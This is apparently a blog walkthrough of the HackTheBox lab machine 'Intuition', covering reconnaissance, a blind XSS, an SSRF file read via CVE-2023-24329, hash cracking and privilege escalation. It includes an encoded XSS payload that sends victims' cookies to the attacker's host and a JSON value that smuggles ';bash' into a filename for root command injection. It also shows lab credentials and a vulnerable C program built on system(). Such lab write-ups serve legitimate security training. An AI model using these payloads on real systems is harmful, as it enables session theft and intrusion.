Hackthebox: Intuition

Foued SAIDI Lv4

Overview

Intuition is a linux hard-difficulty HackTheBox machine dealing initially with an XSS vulnerability that allows us to access an admin dashboard, later abusing CVE-2023–24329 to be able to leverage a file read vulnerability in Python-urllib/3.11 and get system access and user flag. As for root, it deals with abusing an internal binary interacting with ansible through command injection.

Intuition-info-card
Intuition-info-card

Reconnaissance

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PS C:\Users\0xkujen> nmap -A -Pn 10.129.158.234
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-13 16:24 W. Central Africa Standard Time
NSOCK ERROR [0.2860s] ssl_init_helper(): OpenSSL legacy provider failed to load.

Nmap scan report for 10.129.158.234
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3a8f75d60e86616ca92f676bab833c2 (ECDSA)
|_ 256 07ef11a6a07d2b4de868791a7ba7a9cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 102.00 ms 10.10.16.1
2 204.00 ms 10.129.158.234

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.08 seconds

We can see that we have a couple of open ports: 22 for ssh and 80 for http. We can also see that we have a comprezzor.htb domain, so we go ahead and add that entry to our /etc/hosts file.

Subdomain Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Users\0xkujen> .\ffuf.exe -w ..\SecLists\Discovery\DNS\bitquark-subdomains-top100000.txt -H "Host: FUZZ.comprezzor.htb" -u "http://10.129.158.234"  -fs 178

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.129.158.234
:: Wordlist : FUZZ: C:\Users\0xkujen\Tools\SecLists\Discovery\DNS\bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________

auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 626ms] 0 ::
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 330ms] 0 ::
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 148ms]::

We can see that we have 3 different subdomains, once more we add those to our /etc/hosts file.

Web Application - http://auth.comprezzor.htb

We are greeted with a simple login page:

Login
Login

We go ahead and create an account to login with:

Auth panel
Auth panel

We navigate to http://report.comprezzor.htb/report_bug and we can see that we can submit a report:

Report submission
Report submission

Blind XSS

The form is vulnerable to Blind XSS, therefore we could hijack the user cookies:

1
<img src=x onerror='eval(atob("ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNi4yOS8/Y29va2llPScrZG9jdW1lbnQuY29va2llKQ=="));' />
1
2
3
4
5
PS C:\Users\0xkujen> python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.158.234 - - [13/Sep/2024 17:00:47] "GET /?cookie=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 -
::ffff:10.129.158.234 - - [13/Sep/2024 17:00:47] "GET /?cookie=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 -

Decoding the cookie it gives us these values:

1
{"user_id": 2, "username": "adam", "role": "webdev"}|58f6f725339ce3f69d8552a10696ddebb68b2b57d2e523c08bde868d3a756db8

Maybe We can now abuse this cookie to access another subdomain?

Web Application - http://dashboard.comprezzor.htb

Dashboard
Dashboard

We now set the cookie we just hijacked and try to access to dashboard:

Cookie manipulation
Cookie manipulation

We can then see that our user adam has the right to change some reports’ priorities:

Report manipulation
Report manipulation

So here’s the thought process: We submit a report by adam => change the report level to High => admin checks our report => we get the admin cookie. And that is exactly what happened, we got out cookie:

1
2
3
4
PS C:\Users\0xkujen> python3 -m http.server 80
::ffff:10.10.x.x - - [13/Sep/2024 18:00:48] "GET /?cookie=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 -
::ffff:10.10.x.x - - [13/Sep/2024 18:00:53] "GET /?cookie=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 -
::ffff:10.129.158.184 - - [13/Sep/2024 18:00:54] "GET /?cookie=user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 HTTP/1.1" 200 -

We can now insert the cookie and get our admin panel:

Admin panel
Admin panel

We can now see that we have a PDF creation feature under http://dashboard.comprezzor.htb/create_pdf_report:

PDF Creation
PDF Creation

We try to listen on what’s actually going on:

PDF Creation
PDF Creation

1
2
3
4
5
6
7
8
9
10
PS C:\Users\0xkujen> nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.158.184] 34502
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.x.x:4444
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close

We can see that it’s using the user-agent Python-urllib/3.11 which is vulnerable to CVE-2023–24329 .

The concept is that when a URL starts with a blank space, urllib.py parser has some issues. Any domain or protocol filtering method using a block list can be easily bypassed. We can then abuse and SSRF vulnerability, abuse protocols and gain file reading:

CVE-2023–24329
CVE-2023–24329

CVE-2023–24329
CVE-2023–24329

We can now successfully read files!

Checking currently running commands on the system:

CVE-2023–24329
CVE-2023–24329

CVE-2023–24329
CVE-2023–24329

Let’s now observe the contents of app.py:

CVE-2023–24329
CVE-2023–24329

We can see we have an import for import main_bp from blueprints.report.report
Let’s then try to check /app/code/blueprints/report/report.py:

CVE-2023–24329
CVE-2023–24329

We also have another import for blueprints.dashboard.dashboard, let’s then check /app/code/blueprints/dashboard/dashboard.py:

CVE-2023–24329
CVE-2023–24329

We can see that we have some ftp creds: ftp.login(user='ftp_admin', passwd='u3jai8y71s2')

Since we don’t have any ftp exposed, let’s try to abuse it from our SSRF:

CVE-2023–24329
CVE-2023–24329

We can see that we have some ssh key and some notes:

CVE-2023–24329
CVE-2023–24329

Let’s download them and take a look:

CVE-2023–24329
CVE-2023–24329

We can see that we can login using that passphrase.
We obtain the username as a comment:

CVE-2023–24329
CVE-2023–24329

We can now login as dev_acc user:

1
2
3
4
5
6
7
8
9
10
11
12
kujen@LAPTOP-GEVGOPRU:~$ ssh [email protected] -i id_rsa
The authenticity of host 'comprezzor.htb (10.129.158.184)' can't be established.
ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'comprezzor.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
dev_acc@intuition:~$ id
uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc)
dev_acc@intuition:~$ cat user.txt
7a2afb180e3318******************
dev_acc@intuition:~$

Privilege Escalation

Looking for some database files I stumble upon users.db:

1
2
3
4
5
6
7
8
9
10
11
12
dev_acc@intuition:~$ cd /var/www/app/blueprints/auth/
dev_acc@intuition:/var/www/app/blueprints/auth$ ls
auth.py auth_utils.py __pycache__ users.db users.sql
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
sqlite>

We can crack adam‘s hash using this hashcat command:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ hashcat -m 30120 hashes.txt /usr/share/wordlists/rockyou.txt
<snip>
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
<snip>

We can now use those creds to connect to ftp service since we can see that it’s listening on the system:

1
2
3
4
5
dev_acc@intuition:/var/www/app/blueprints/auth$ netstat -anot
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 172.21.0.1:21 0.0.0.0:* LISTEN off (0.00/0/0)
<snip>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
dev_acc@intuition:/var/www/app/blueprints/auth$ ftp adam@localhost
Connected to localhost.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||55545|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||39199|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||48699|).
125 Data connection already open. Transfer starting.
-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
226 Transfer complete.
ftp>

We can now download all the files and check the source of runner1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
dev_acc@intuition:~$ ls
runner1 runner1.c run-tests.sh user.txt
dev_acc@intuition:~$ cat runner1.c
// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);

char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}

if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}

void listPlaybooks() {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return;
}

struct dirent *entry;
int playbookNumber = 1;

while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
printf("%d: %s\n", playbookNumber, entry->d_name);
playbookNumber++;
}
}

closedir(dir);
}

void runPlaybook(const char *playbookName) {
char run_command[1024];
snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
system(run_command);
}

void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}

int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}

int auth_required = 0;
char auth_key[128];

for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-a") == 0) {
if (i + 1 < argc) {
strncpy(auth_key, argv[i + 1], sizeof(auth_key));
auth_required = 1;
break;
} else {
printf("Error: -a option requires an auth key.\n");
return 1;
}
}
}

if (!check_auth(auth_key)) {
printf("Error: Authentication failed.\n");
return 1;
}

if (strcmp(argv[1], "list") == 0) {
listPlaybooks();
} else if (strcmp(argv[1], "run") == 0) {
int playbookNumber = atoi(argv[2]);
if (playbookNumber > 0) {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return 1;
}

struct dirent *entry;
int currentPlaybookNumber = 1;
char *playbookName = NULL;

while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
if (currentPlaybookNumber == playbookNumber) {
playbookName = entry->d_name;
break;
}
currentPlaybookNumber++;
}
}

closedir(dir);

if (playbookName != NULL) {
runPlaybook(playbookName);
} else {
printf("Invalid playbook number.\n");
}
} else {
printf("Invalid playbook number.\n");
}
} else if (strcmp(argv[1], "install") == 0) {
installRole(argv[2]);
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}

return 0;
}

dev_acc@intuition:~$ cat run-tests.sh
#!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
dev_acc@intuition:~$

Doing some further enumeration for root owned readable files, I stumbled upon the /var/log/suricata folder where I could get creds for the user lopez:

1
2
3
4
5
6
dev_acc@intuition:/var/log/suricata$ zgrep -i lopez ./*.gz
./eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
./eve.json.8.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
./eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
./eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
dev_acc@intuition:/var/log/suricata$

The password is Lopezz1992%123
Let’s now login as lopez and see what we can run as sudo:

1
2
3
4
5
6
7
8
9
10
11
12
lopez@intuition:~$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)
lopez@intuition:~$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
lopez@intuition:~$ sudo /opt/runner2/runner2
Usage: /opt/runner2/runner2 <json_file>
lopez@intuition:~$

I will now be attempting to crack the runner auth_key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 -a 3 hash 'UHI75GHI?u?u?u?u' 1 ⨯
hashcat (v6.2.6) starting

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-AMD Ryzen 7 4800H with Radeon Graphics, 1439/2942 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
<snip>

The auth key is UHI75GHINKOP.

Running the /opt/runner2/runner2 will start to extract a tar file if the action provided is install, therefore we can create a json file with our tar file alongside the AUTH_KEY, and injecting a command execution payload in the file name (by renaming it) so that the command gets executed when we run the file. However, we must provide a valid tar compressed file since /usr/bin/ansible-galaxy will be checking the validity of our file. An example valid json file is as follows:

1
2
3
4
5
6
7
{
"run":{
"action":"install",
"role_file":"sys-admins-role.tar;bash"
},
"auth_code":"UHI75GHINKOP"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lopez@intuition:~$ cat root.json
{
"run":{
"action":"install",
"role_file":"sys-admins-role.tar;bash"
},
"auth_code":"UHI75GHINKOP"
}
lopez@intuition:~$ sudo /opt/runner2/runner2 root.json
[sudo] password for lopez:
Starting galaxy role install process
- sys-admins-role.tar is already installed, skipping.
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez# cat /root/root.txt
7374aa0ff2ad81b85a37431f8fc96186
root@intuition:/home/lopez#

And we are root!
Hope you enjoyed this writeup :)
-0xkujen

  • Title: Hackthebox: Intuition
  • Author: Foued SAIDI
  • Created at : 2024-09-13 14:48:23
  • Updated at : 2024-09-14 18:35:42
  • Link: https://kujen5.github.io/2024/09/13/Hackthebox-Intuition/
  • License: This work is licensed under CC BY-NC-SA 4.0.